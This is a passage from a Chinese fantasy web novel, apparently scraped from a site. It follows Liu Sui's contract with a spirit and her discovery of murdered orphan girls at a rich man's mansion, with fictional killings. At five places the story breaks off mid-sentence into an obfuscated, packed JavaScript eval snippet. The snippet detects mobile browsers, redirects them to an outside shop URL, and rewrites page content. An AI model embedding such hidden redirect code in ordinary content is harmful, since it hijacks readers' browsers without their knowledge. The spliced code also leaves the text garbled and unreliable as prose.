脑海中瞬间浮现出一只只肥胖又丑陋的虫子不停地蛄蛹,胃里就忍不住一阵阵翻江倒海。 “我无需你那什么抗体!” 景昭辰的声音有气无力,扶着门槛的手也有些发抖。 柳岁托着腮望着他笑。 “他们都喝了,也不见像你这般大的反应” 话音方落,干呕声不绝于耳。 柳岁,“” 她的手指一下下点着涂山的脑袋,目光不经意落在门口那团颜色越来越浅的灵气身上。 “涂山,你说经此一事,它日后会乖乖听我的吩咐吗?” 涂山哑然。 就圣女之力那眼高于顶的脾性,怕是难。 它犹豫地甩了一下尾,又甩了一下 柳岁的巴掌如常呼下来,打得它眼冒金星,差点没把才吃进去的肉干吐出来。 “它说它由圣女灵力所化,但又有自己的思想,不像你整日就惦记着吃和睡!” 如此明显的对比,涂山只觉得一颗心拔凉拨凉的。 不过离开柳岁的身体一个时辰,圣女之力就觉得自己已经快要灰飞烟灭了。 “我知错了,日后绝不再犯,您说的对我与您该融为一体,一荣俱荣,一损俱损,从前是我狭隘了。” 柳岁暗叫一声哟呵,这家伙还挺有见解,认错态度也端正。 第153章 契约成 柳岁笑,一双眼弯的似天边月牙,盛着满天星光,让人也跟着心生欢喜。 “认错态度良好,就是不知能不能真的悔改,有待验证,今日姑且原谅你。” 圣女之力开心,刚想冲进她身体,却又被弹了回来。 “猴急什么,我话还没说完!口说无凭,立字为据!噢对,你没实体,也不会写字,确实有点强灵所难了哈。” 话虽如此,柳岁的态度却很坚决,大有一副你若不依,我就看着你消失的架势。 景昭辰也不吐了,有气无力倚在门边,看柳岁一本正经与地上那团模糊的气体讲道理。 柳岁对着涂山念叨,又似在自言自语。 “既然互相离不开,就一定有共存的法子,只是暂时不为人知罢了,你说是不是?” 涂山干脆爬去景昭辰脚边躲清静。 见圣女之力依旧毫无动静,柳岁站起身,很没形象地伸了个懒腰,旋即打了个哈欠。 “困死了,我先上楼去睡了,各位晚安。” 说完,转身就走。 圣女之力只觉得头晕目眩,恨不得化为一缕清烟,死了完事。 可它有使命,事情一日不完结,它就一日不得安眠。 “我我说,您可以契约我!但至此以后,你生我在,你死我亡,再无反悔余地。” 柳岁在他们都看不见的地方勾了勾唇角。 这与她偷长白的那本书上描写的一模一样。 虽然她穿越不像其他人一样开局就有空间,可到底也算有了金手指。 只要好好运用圣女之力,景昭辰对敌时就再不必时刻忧心她的安危。 他是大树,她也不当那菟丝花,要做就做与他与肩的树,相互扶持,抵挡风雨! 她回头,一句话也没说,伸出手,朝着圣女之力努努下巴。 所以,契约也得它出力? 也是,它现在才是卑微求存的那一个! 圣女之力悔得肠子都青了,明明安然无事地待了那么久,干嘛非得钻出来装大爷,这下好了,一朝成孙子了! 柳岁也不催促,只是一个接一个的哈欠看得景昭辰眼角跳了又跳。 “我数三个数,若还是不愿意就算了,从哪来滚回哪去。” 她不喜欢被人掌控,更不喜欢强人所难。 听圣女之力的意思,只要契约就等同于把她们俩锁死在一起,她还好,多了份助力,但圣女之力至此就再无自由。 所以,行不行一句话,可她是真困,困得想要暴走! 景昭辰越过所有人,迈上楼梯。 “岁岁,结契并非那么简单的事,你若困了,就先去睡,明日再说也不迟。” “” 正想着自己该如何面对今后被奴役的悲惨岁月的圣女之力,听到这话险些就哭出来。 它要是能等到明天,还用这么卑躬屈膝? 好说歹说求了一晚上,好不容易柳岁松口了,这男人又横插一脚。 真是多管闲事! 柳岁的目光频频扫向二楼的房间,松软的床榻近在咫尺,她却离它始终有段距离。 她现在没心思听契约的事,她就惦记她的床。 景昭辰见状,叹了口气,宠溺地揉揉她的发顶。 “走吧,去休息,明日无事可多睡会。” 圣女之力认命了,“给我一滴您的血即可。” 这么强大的灵气摆在面前,这姑娘竟然还只惦记着睡觉,是该夸她心大还是对一切都不在意? 就见刚才还困得几乎站不稳的柳岁,瞬间目光灼灼。 “我再问一次,结契乃是你心甘情愿,而非我强人所难!” “是!我心甘情愿为你所用,生当同眠,死当同穴,荣辱与共,不离不弃” 景昭辰嘴角抽了抽。 这怎么还整上誓言了,听着像是即将拜堂成亲似的。 柳岁扬手,“别说这些花里胡哨的,抓紧时间,办完睡觉!” 柳岁的这一句,听得楼下众暗卫心都跟着漏跳了一拍,不由齐齐看向景昭辰。 柳姑娘说话一向直来直去,性子也泼辣,习惯了就会觉得与她在一起特别的放松。 但,摄政王就不是这么好相与的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015214|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了! 听听这说的都是什么话,不知道的还以为这里要成亲了! 摄政王对柳姑娘也没说过这么肉麻的话! 圣女之力对他们的反应十分不屑。 “都说我是由圣女灵力幻化而成,说起来,也算是姑娘,哼,看你们一个个肤浅的样子!” 血珠子在柳岁指尖晃了晃,圣女之力也顾不上与他们生气,猛地缩成一个小紫点。 柳岁只觉腕间似被什么叮咬了一下,微微有些刺痛,旋即一切恢复如初。 江树目瞪口呆,“姑娘,你的眼睛!” 景昭辰侧目,并无异常,仿佛刚才一闪而逝的紫气只是他的幻觉。 “至此,我与您融为一体,心意相通” 柳岁惊的后退一步,一屁股坐在阶梯上,久久不能回神。 “阿昭它还会说话!你的内力也会如此?” 景昭辰笑着将人一把抱起。 “都说我与你不同,既然想不明白就不想了,好好睡一觉,明天我带你见个人。” 柳岁也就不再纠结,人才挨到枕头上,就已经沉沉睡去。 一夜好梦,直至天光大亮,阳光透过半开的窗棂打在她的脸上,手腕处隐隐有紫气浮动。 她用手挡住刺眼的阳光,环顾四周。 梦很冗长,长得她都有些分不清那些事是否真的发生过。 “所以怀义毁了也不能落入旁人之手?” 紫气浮动,一时静的可闻针落。 怀义有三处普通人无法踏足的密林,长年瘴气环绕,荆棘丛生,偶有野兽出没,震天的吼声令人胆战心惊。 但,最危险的地方往往蕴藏着巨大的财富。 百年来都流传着一个传说。 每隔五十年,密林深处会开出一朵花,得到花者,可开启怀义宝藏,一时间前来探宝的人趋之若鹜,一个个不怕死地往里冲,最后皆尸骨无存。 可就算如此,贪念如同魔鬼,一旦在人们心中生根发芽,就再也控制不住,轻而易举可以坐拥用之不尽的金银财宝,还有举世无双的神秘功法,谁又能抵抗得了! 第154章 初生牛犊不怕虎 早饭刚用了一半,客栈的大门就被一群人堵住,他们也不敢冲进来,只站在那大声叫嚷。 “昨晚那妖女赶紧出来!我家员外已死,管家也快不行了,大夫说需以妖女之血入药方可捡回一命!” “让你说,你还真说?那姑娘多大本事你昨夜没瞧见?是不想要命了吧?” 男子耸肩,一副初生牛犊不怕虎的架势。 “怕啥!一个小娘皮还能翻了天不成!老子就不信这个邪!你们也不想想,员外已经死了,若管家也死了,咱们都得被发卖!” 拉住他胳膊的男人松开手,虽没反驳他的话,却也不赞成,他默默往后退了又退,确认他不是那个出头鸟才堪堪停下。 真是左右为难,神仙打架小鬼遭殃,说的就是他们如今的情景吧! 景昭辰连眼皮也没抬一下,又替柳岁夹了只虾饺。 “昨夜你就没怎么吃东西,这样下去,身体怎么受得住。” 柳岁吃得头也不抬,含糊着就算答应了。 她真的很想说自己也不是真的富家千金,没那么矫情,不管从前还是流放之路,断水断粮稀疏平常。 但看着景昭辰一脸关切,她还是乖乖夹起虾饺放在嘴里慢慢咀嚼。 方才叫嚣的男人见柳岁他们一派云淡风轻,你给我夹个包子,我替你盛碗汤,完全不将他放在眼里,禁不住咬了咬后槽牙。 他往里冲,门口的暗卫只斜了他一眼,并未阻拦。 “你还吃得下东西,管家还在床上生死未卜” 话间落,人已经如同离弦的箭一样飞了出去,甚至还在空中划出了一道漂亮的抛物线。 柳岁唏嘘,又喝一口粥。 “他死不死与我何干?一来,我不是他娘,二来我不是郎中,你是不是寻错人了?” 柳岁对圣女之力的表现很满意,为着这个也得多吃半碗粥。 对了,柳岁嫌圣女之力这称呼过于招摇,已经自作主张唤它红红。 圣女之力百思不得其解,只要眼不瞎的都能看出来它是紫色的吧? 柳岁摆手,“告诉你们也听不懂,狐妖小红娘看过吗?涂山红红可盐可甜。” 一个是灵体,一个是胖蛇,确实听不懂。 其实柳岁喜欢她也并没那么肤浅,涂山红红喜欢夏日雷雨天,凉爽的空气配上倾泻的大雨是难得的享受,她也喜欢冬日大雪时的暖阳,牵着爱人的手,看着阳光把远山涂成金色。 其实柳岁最想要的就是这样无拘无束的日子,所以她时刻提醒自己不要忘记一开始的初心,因为,她想让他们活成自己喜欢的模样。 江树举着几根糖葫芦进来。 “姑娘,这个可甜了!” 他边说还边咬了一口自己的。 景昭辰蹙眉,“她整天不好好吃饭,都是被你们这些小零嘴给喂饱的!” 他一直都知道,自己身边的这些暗卫特别喜欢和柳岁相处,平时一个个抠搜搜的,可给柳岁买起小零嘴,掏钱掏得毫不心疼。 因为柳岁给予他们的更多! 她能记得住每一位暗卫的名字,还有他们每人的暗疾都记录在一个小本子上,精心为他们炮制汤药,如此种种,不胜枚举。 人的一生说起来很长,但其实不过须臾,能相逢在茫茫人海,实属不易,谁不想被记住,被惦念? 他能做到,就是在有限的时间里,竭尽所能呵护她,疼惜她,信任她! 江树垂头,不敢多做辩解,一双眼时不时瞄向柳岁。 昨天姑娘就说想吃,可回到客栈天都黑了,只得作罢。 江风没家,打小跟着景昭辰,可都是大老爷们,也不太懂得表达。 可他们都一样,渴望家的温暖。 而柳岁的出现,无疑给了所有人家的感觉。 所以他们把她当家人,当姐姐,愿意宠着,捧着,让着。 柳岁睇一眼景昭辰,从江树手上接过糖葫芦。 “多谢你还记着这事,我早几天就想吃了。” 她咬一口,笑的两眼弯弯。 “好吃,比宁安的果子甜。” 她凑到景昭辰面前,撒娇似的蹭蹭。 “别恼,瞧我今天不是吃得挺多了,对了,你不是说要带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015215|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去见什么人?咱们快走吧。” 柳岁背在身后的手朝着江树晃了晃。 江树撒丫子就跑。 景昭辰不急不疾把碗里最后一口汤喝掉,拿出帕子擦干净。 “我的人倒不急着见,倒是眼前这事瞧着更棘手。” “行,先处理这事,顺带看看员外府是何模样。” 柳岁又咬一口糖葫芦,却见涂山一脸馋样盯着她。 “这个你也能吃?” 涂山的尾巴摇到飞起。 有一个这样的宠物,她觉得生活一下多出许多的乐趣。 景昭辰就跟在身后,看着柳岁丢一颗果子,涂山就跃起接住,玩得不亦乐乎。 他按了按眉心,能把蛇当狗养的不多见。 见她出来,就有人自觉在前面带路,离得不远,正好走过去,顺便消消食。 员外府在外面看来平平无奇,两只石狮子上生了 些微青苔。 转过影壁,就看到一个巨大的庭院,每个院子都栽种着槐树,这个季节,槐花味熏得人几乎睁不开眼。 宅后有一片不知荒废了多久的空地,中央是一个飘满浮萍的水池,时不时有青蛙跳出来,破败的墙已经看不出原本的颜色,爬满了藤蔓,像一条条长蛇蜿蜒开来。 柳岁驻足,身旁的景昭辰也跟着停下来。 “可是有何不妥?” 柳岁摇头,“我也说不上来,总觉得这里面阴森森的,阿昭,咱们刚才一路走来,都是阳光明媚,可你看这。” 景昭辰举目四望,可能是因为槐树太过繁茂的缘故,每一个院落几乎都照不进来多少光线,正是热的冒油的季节,站在这,却令人背脊发寒。 “自古槐树就是阴寒之物,那些传说故事里,就是用来引鬼怪的,槐之一字,木,鬼也。” 既然孙员外的家底如此丰厚,而且古代最讲究风水,他就不可能不知道槐树不适宜种于家宅。 招不招鬼另当别论,主要是槐树枝干粗壮,树冠茂盛,会影响采光,年头久了的槐树内里容易空心,风起,就会发出呜呜咽咽的怪声。 第155章 招魂 再说古代人在购置宅邸时会请有名的风水先生来看过,不吉利之处都会用其它的方法化解。 绝不会明知山有虎,偏向虎山行的道理。 此时正值午时,这里却阴森可怖,乌鸦的叫声一声接着一声,令人毛骨悚然。 她不动,后面的人自然也不动,就静静的候在一边。 柳岁看一眼涂山,它并没多大的反应,草丛浓密,它却毫无兴趣。 再往里,匾额上龙飞凤舞写着三个描金大字:桑槐堂。 屋子两边照例是古槐,粗壮的树干上缠绕着红棉布,一层又一层。 树下还摆着祭祀用的香炉、点心、水果,这些都司空见惯,最诡异的是一只玉盏里摆放着的一小把红线和锡纸元宝。 就算员外府没鬼,这么一来,也能把鬼招来! 柳岁紧紧挽着景昭辰的胳膊,半边身子恨不能挂在他身上。 “这是用来招鬼的跟书上写的一模一样。” 景昭辰笑一声,无奈的摇摇头。 “你既然这么害怕,为何还要看这些书?” 柳岁捂着眼,就留了个小缝看路。 “知己知彼,百战不殆,要没我,你们能知道这些是做什么用的吗?” 好像很有道理,但不太多。 明明是她最爱看这些稀奇古怪的书籍,只要是书,她都爱不释手。 “对,我的岁岁最见多识广,那你说说可有破解之法?” 柳岁摇头,“不知道不知道,赶紧走,晦气死了。” 孙员外住的正屋很奇怪,不是大昭常见的平顶或拱形顶,而是呈三角形状,尖利而突兀,似乎要突破云层。 飞檐上挂着十八个无芯的铜铃,风来,似能听见丁冬的响声。 有小厮打扮的让开路,明明是夏日,孙员外的门上依旧挂着冬日里用的棉帘。 推开门,奇异的花香夹杂着血腥气扑面而来。 房里暗得几乎看不清,只依稀看得见床榻上躺着个人,偶尔发出几声呻吟。 柳岁拉住景昭辰,示意他看一旁。 房里全是顶天的柱子,每一根上面都刻着奇怪的图纹,还被用大红的漆精心勾勒过,如果不仔细看,还以为柱子在流血。 左手边的香案上供的不知是哪路神仙,长得面目狰狞,相貌丑陋。 “姑娘,这像不像您那话本子里描写的那罗刹殿?也全是这样的柱子。” 江树压低声,又指了指香案上供着的东西。 “哪个好人家供罗刹阎罗啊,姑娘咱们离开吧?” 柳岁这时候反而不怕了。 事出反常必有妖! 这是没鬼也想招鬼,不知葫芦里卖的什么药? “江树,你最擅长轻功,去看看其他院落,尤其那个废弃了的,一定要仔仔细细搜。” “那姑娘你们小心。” 柳岁拉住他,“偷偷去,别被江风发现。” 她又踢了脚懒洋洋的涂山,“你跟他去,别让人伤到他。” 涂山不情不愿的跟在江树身后。 一步三回头。 可惜,柳岁压根没看它一眼。 要它说,有个屁的鬼,不过就是这群人在装神弄鬼! 一天天的不干人事,尽整这些幺蛾子,害得它跟着受累。 “岁岁不怕了?” 景昭辰眉眼带笑,语气里满是戏谑。 柳岁盯着床上的人已经好久了,闻言只是笑了笑。 “说吧,如此大费周张引我们来是为何?看这装神弄鬼的样子,是打算把孙员外的魂魄招回来?怎么,是有什么暗室啥的打不开?想当面问问清楚?” 床上的人身子猛的一僵,被人当场揭穿心思,他也就不再装。 管家重重咳几声,嘴里涌上一股腥甜。 “咳咳,那么多双眼睛看着我家员外无缘无故原地消失了,你还敢说你不是妖女?怎么这是害怕员外的魂魄来索命吗?” 柳岁抽了抽嘴角,“你这是摔伤脑子了?再说即使他死了,不还有女儿,轮得到你一个管家在这耀武扬威?” 她好似这时才想起还有孙枝枝这号人物存在。 管家痛得拧起眉,被子里的手紧握成拳。 什么女儿,不过是用来引诱官员的筹码,他孙员外可以安排一个孙枝枝,就能安排第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015216|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个孙丫丫 想到后院还关着那么多女人,管家心跟着沉了沉。 他朝床一侧的小厮拼命使眼色,奈何那人就跟入定了似的,双眼空洞无神,也不知看向何处。 江树没回来,倒等来了慢吞吞的涂山。 它嘴里叼着一方绣帕,只看上面的图案,就知是女子的。 柳岁一脸你回来有什么用的表情,让涂山很受伤。 它又努力探了探身子,如今它直立,都能够到柳岁的鼻尖。 这丫头的身型可真够矮啊,不是,娇小。 柳岁眯眼,目光不善。 “行,那你具体说说发现什么了?” 涂山,“” 它觉得这么为难一条蛇真的不是好人所为! “要不我去看看?” 景昭辰一直在翻看书架上的各种 书籍,一无所获。 柳岁摇头,“不必,这帕子上的香味你不觉得熟悉吗?” 景昭辰看都懒得看别的女子的东西,敷衍的应一声。 柳岁继续道,“这上面沾着的血渍已经干了,有人受伤了,但应该有几个时辰了。” “还有,这帐中香,不知想迷的是谁?” 好端端的招亲,你情我愿的事,干嘛非要使这种下三滥的手段? 这背后定有蹊跷。 管家张了几次嘴想要打断她,奈何柳岁语速本就快,脑子更是转得快,他愣是插不进一句。 “哦,我再来猜猜,管家身上也沾着这味道就很令人遐想了!孙枝枝一直在绣楼未曾露面,那绣楼旁的人也不许进去。” 柳岁摩挲着下巴,秀气的眉还挑了挑,看得管家心惊肉跳。 “孙员外就算为女招婿,应该也看不上你这种猪头吧?所以,一定是你觊觎孙枝枝美色,想要霸王硬上弓” 管家听她越说越离谱,一张脸涨得通红,一口闷气憋在胸口,上不上,下不下。 “胡说八道!后院女子那么多!哪个不比这瘦得柴火一样的孙枝枝强!” “原来如此,员外府的嫡出小姐竟被个下人贬低如此,看来府中的确都是群不知礼数的禽兽!” 第156章 员外府的秘密 员外府也分不清白天还是黑夜,蜡烛快熄时就有人进来换上几支新的。 一个纤瘦的少女跌跌撞撞往柳岁他们这院跑,踉跄着摔了好几跤。 有几个面相凶狠的男子在后面紧追不舍,嘴里骂骂咧咧。 “如今员外死了,这府上是管家做主,我们劝你最好识相些,乖乖回去,至少能保住小命。” 少女似乎受了伤,还没靠太近,就能闻见血腥味。 她不断喃喃,“救命,救我!去哪都行,就是不要在这。” 她的额头一直在往出汩汩冒血,整张小脸全被血染红,看着可怜又莫名的诡异。 身后的男人手里握着木棍,恼羞成怒朝她的后脑呼去。 木棍砸到少女的腿,她双膝一软,重重摔倒。 柳岁也不知这闹的是哪一出,不好轻易出手,景昭辰则更绝,直接坐在窗边软榻上认真的烹茶,仿佛外界一切都与他无关。 管家咳几声,听得见外面的吵闹声,奈何身上实在痛得厉害,肋骨也断了两根,根本起不来。 “咳咳,都吵什么!还不把人带下去,一群废物。” 少女凭借着最后一丝力气爬到柳岁脚边。 “求你,救我出去,我知道他们的秘密” 她的嘴被人拿破布堵住,半拉半拖往西边的院子走。 “站住!我让你们把人带走了吗?” 柳岁手里抓把瓜子,左一个右一个嗑得香。 管家嘴角禁不住抽了抽。 这他妈还有人敢在供桌上拿吃的!还是和阎罗抢东西! 新鲜水果被她吃完了,点心被那只肥得爬不动的蛇吃得渣都不剩,末了,说碟子好看,也直接揣兜里了。 道士明明说树下要供上好的茶叶,最好是孙员外生前爱喝的,如此才能顺利把他的魂魄引来。 柳岁猜得不错,孙员外是有个暗室,可没人知道设在哪,更不知道里面是否有机关。 结果,茶叶被那长得比女子还漂亮的男人烹了! 茶香袅袅,管家却觉得刺鼻,他气的胸腔不断起伏,这些人就没个忌讳的事? 剧痛传来,管家痛得闷哼一声,眼前发黑,他赶忙摸出枕下的仙丹塞到嘴里。 能不能治病不知道,反正道士的仙丹吃了就心安。 那边抓着少女的几个壮汉已经全部倒在地上,死活不知。 柳岁蹲下来,看着眼前这瘦得一阵风就能吹跑的少女。 “你是孙枝枝。” 不是疑问,语气十分肯定。 少女点头,唇边还沾着未干的血渍。 “是也不是,我本就是孙员外收养的孤女。” 她自嘲地苦笑一声。 “不然能在府中被一群下人欺压至此?” 柳岁对她的身世不感兴趣。 “说说府中有什么秘密?与槐树有关?” 少女愣了愣,还以为她会接着自己的话往下问,毕竟她不是真的员外府千金。 可柳岁这么不按常理出牌,她一时竟不知如何招架。 “还是说你也是其中的一步?让我猜猜,你应该是为了吸引谁的注意,但最后却盯上了我们。” 柳岁笑,也无需孙枝枝开口。 “你不会是看上他了吧?” 顺着她纤细的手指,孙枝枝不好意思看一眼景昭辰,垂着眸一言不发。 沉默就是最好的证明。 柳岁也不恼,浅笑盈盈盯着孙枝枝。 直看得孙枝枝手脚都不知该如何安放。 “不过如此也敢惦记我的男人!” 柳岁这一巴掌来得干脆又突然,啪的一声,孙枝枝的脸上瞬间肿得老高。 所有人都惊得好半天回不过神,只有景昭辰像没事人一样,依旧在那安之若素。 孙枝枝不可置信地捂着自己的脸,不明白上一刻还笑得如同春日的姑娘,怎么说翻脸就翻脸。 嘴里有几颗牙齿甚至都有些松动,满口的血腥味,孙枝枝险些没忍住吐出来。 一只漂亮的手掐住孙枝枝的脖颈,眼前的姑娘依旧笑得和煦。 “问你话呢!对了,忘了告诉你,我脾气不太好,没多大的耐心等你从头到尾想清楚。” 她声音甜糯,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015217|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分慵懒,孙枝枝却吓得浑身冒出冷汗。 “放了我我说那花泥” “嗖——” 一枚暗器划破风声,柳岁松手,孙枝枝险险避开。 粗壮的槐树干对穿了一个洞。 “花泥里全是尸骨吧?只是这些人就没家人来寻过?” 孙枝枝吓得哆哆嗦嗦,那暗器威力之大,如果刚才柳岁没松手,现在被射对穿的就是她! “是,全是孙员外从各地寻来的孤女,就是看中她们无人牵挂,死了自然也不会有人知道。” 柳岁一脸的了然。 “难怪了,就说这槐树长得格外茂盛,这法子谁想出来的?” 孙枝枝恶狠狠看向屋里。 “这该死的管家,早就惦记员外的财产,还还” 她紧紧握着衣角,那眼神像是想把管家立马就生吞活剥了。 不知是她真的恨管家,还是演技一 流,反正柳岁也不在意。 “荒废的那处可是关着人?都活着还是已经死了?” 孙枝枝索性也不再隐瞒,今天她要是全说了,可能还有条活路,可若再继续留在员外府,管家一日不死,她就生不如死,与其这样过完后半生,还不如拼一把。 “孙员外死的突然,那些女子暂时都还活着,正巧管家也伤了,没空理会这事。” 孙枝枝舔了舔干裂的唇,低声央求。 “姑娘,如果我全说了,您能救我出去吗?我愿当牛做马服侍姑娘一辈子!” 柳岁也不急着承诺,毕竟这姑娘刚才还配合员外府的人演了那么一出,她的话不可尽信。 至于这种两面三刀的人,更是不可放在身边。 她能给她改过自新的机会,却不会把这样的隐患留下。 农夫与蛇的故事就是最好的说明。 “我先听听你说的值不值得我大费周章救你出去,毕竟我身边不留无用之人,至于你的价值,我一时半会也不清楚,我这人从来不会轻易许诺!” 孙枝枝咬着唇,手紧紧握着,像是下定了最后的决心,她猛地抬头,眼里再无半点犹豫。 第157章 是人是鬼! “孙员外每年都会让人到晏城去搜罗孤儿,女的好吃好喝供着,男的则要为他卖命。” 她的眼睛似乎盯着某处,却又像是透过那里在看别的什么东西。 “女子一过及笄,孙员外就会采阴补阳,最后按照道士所说,割开她们的手腕,饮新鲜的血,据说可无病无痛,长命百岁。” 孙枝枝觉得嗓子干得快要冒烟,虽说她是被逼无奈,与他们上演一出苦肉计,可她的确好几日不曾进食。 柳岁朝一旁伸手,“给我盏茶。” 那个冷峻如天神的男子竟真的听话地端着茶走过来。 孙枝枝伸手,他却连看也不看她一眼,甚至嫌弃地把衣角撩起来,生怕被她碰到就脏了似的。 “喝水,说这么久的话渴了吧。” 他笑着把茶盏放在柳岁唇边,看着她一口气喝了大半盏,这才把另一杯放在地上。 孙枝枝抬头,灯笼的光有些昏暗,仍是能看清男子摄魂夺魄般的容颜,星子一般的眸只有看向柳岁才是温柔的。 她看到他紫色华服的一角沾了灰,伸手想要抚掉,景昭辰却迅速地后退两步,上扬的唇角瞬间就拉直,整个人冷的似乎快要结冰。 “不想死就滚远点!” 他的声音凌厉的如尖刀,像是下一秒就会要了她的性命。 孙枝枝吓的缩回手,端起茶盏,身子仍不停的哆嗦。 “喝吧,然后继续。” 柳岁环顾一圈,“江树还没回来?” 江树从另一头小跑着进来,身上脸上全是灰,整个人看着十分狼狈。 “回来了!姑娘,人都救下了,全部安置在前面的厢房里,不过有几个看着已经不成了,要找郎中吗?” 柳岁扶着景昭辰的胳膊站起来,腿麻的好半天缓不过来。 她手指沾点茶手,点着自己的鼻尖。 “现在什么时辰了?这府里都不管饭的吗?还有,夜里来回地走也不安全,让人收拾几间厢房出来,客栈里的东西你也让人收拾一下全送过来吧。” 她不急不忙的一通安排,那架势仿佛她才是这宅子的主人。 景昭辰抚额。 “这宅子阴森森的,你确定要住下来?” 柳岁点头,“对,我还真想亲眼看看鬼长什么样!” 她莞尔,“你说会不会招来一府子的鬼怪,到时站都站不下。” 一阵风吹来,透过已经空心了的树干,呜呜咽咽的就似女子的啜泣声。 孙枝枝搓了搓手臂,她倒是不害怕,反正早就习惯了的。 真要论起来,人有时可比鬼可怕多了! 毕竟这种伤天害理的事,鬼可做不出来,但孙员外就能狠得下心,那些女子在他眼前血枯而亡,他丝毫没一点愧疚,这样的人,死后就该下地狱。 “行了,少废话,去准备饭菜,要是敢耍花招,全杀了就是,反正这府中最不缺的就是死人,多你们几个也不多!” 几个一直守在院中的男子互相看了看,艰难地挤出一句话。 “姑娘喜欢什么口味的菜?现在开火肯定是来不及了,但小的现在就出去买回来!” 柳岁满意了,“就买晏城有名的菜吧,到这里还没来得及尝,就被你们什么狗屁管家坏了兴致。” 有人小声嘀咕,“不是狗屁管家,他叫王霸天。” “什么?好好的人叫王八?他爹娘怎么想的啊!” 那人咽了咽口水,“回姑娘,是王霸天。” 柳岁不耐烦的挥手,“差不多的意思,赶紧去买,我饿死了,还有,他们一直提的道士今夜会来吗?” 院中突然陷入死寂。 众人大气也不敢喘,生怕哪句话又惹得柳岁暴走。 “不说?还是不知道?或者你们觉得活够了?” 她嗖的闪身到一人身前,大力掐着他的脖子。 “那个你,看什么看,去买饭菜啊!” 到这时她还惦记着吃,仿佛手里掐着的不过是一只死鱼。 “喂,还有被褥,一应的物什全要崭新的!” 那人嚅嚅应着,脚下跑得飞快。 “岁岁,你松手,他好像已经没气了。” 柳岁哦一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015218|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,松开手,那人重重摔在地上。 “还是控制不好,都怪红红。” 圣女之力简直欲哭无泪。 她需要时间与圣女之力彻底融合,需要适应这力量带来的惊人伤害。 “姑娘,那道士一般子时会来。” 他抬头看了看天,虽然被树遮的严实,依旧能看到一轮圆月正当空。 “今天十五,他必过府,而且他还不知道员外死的消息。” 孙枝枝目睹了这一切,恨不得把自己犯贱的手剁掉,这姑娘看起来弱不禁风,可杀人眼都不眨。 一个人能在杀了人之后还保持着无辜可爱的神情,更让人觉得可怕。 “姑姑娘,一般的尸体都会埋在园子里,那道士偶尔会带走几具,但不知原因。” 正在此时,外面传来细微的动静,很轻,但能听得出是刻意放缓的脚步声。 景昭辰想也不想地揽住柳岁的腰跃到树顶。 其余暗卫速度也很快,甚至还把坐在地上发呆的孙枝枝也顺手捞上来。 来人着一身道袍,头发披散着,太黑了,实在看不清相貌,个子不算高,但他手上却戴着个与身份不相符的碧玉扳指。 景昭辰眯眼,“金兽图案,此人并非道家之人。” 柳岁一副这不是明摆着的表情。 她努了努嘴,“你见过哪个道长头上戴金簪?还有” 柳岁吸了吸鼻子,有了圣女之力最大的好处就是所有的感官全部被无限放大,她甚至能听到花朵绽开的声音。 “他还涂粉?啧啧,这活得比我还要精致。” “难不成他是个女子?” 江树一脸看好戏的表情。 柳岁没好气拍一把他的后脑勺,就这一下,差点没把江树给拍到地上去。 “骨节粗,还有喉节,一看就是男子,但不知为何会有这种怪癖,看来这员外府的秘密有趣得很啊。” 景昭辰点头附和,“岁岁,你有没有发现他走路的姿势很怪异?我也说不上来这种感觉。” “嘘,是人是鬼,看看不就知道了!” 第158章 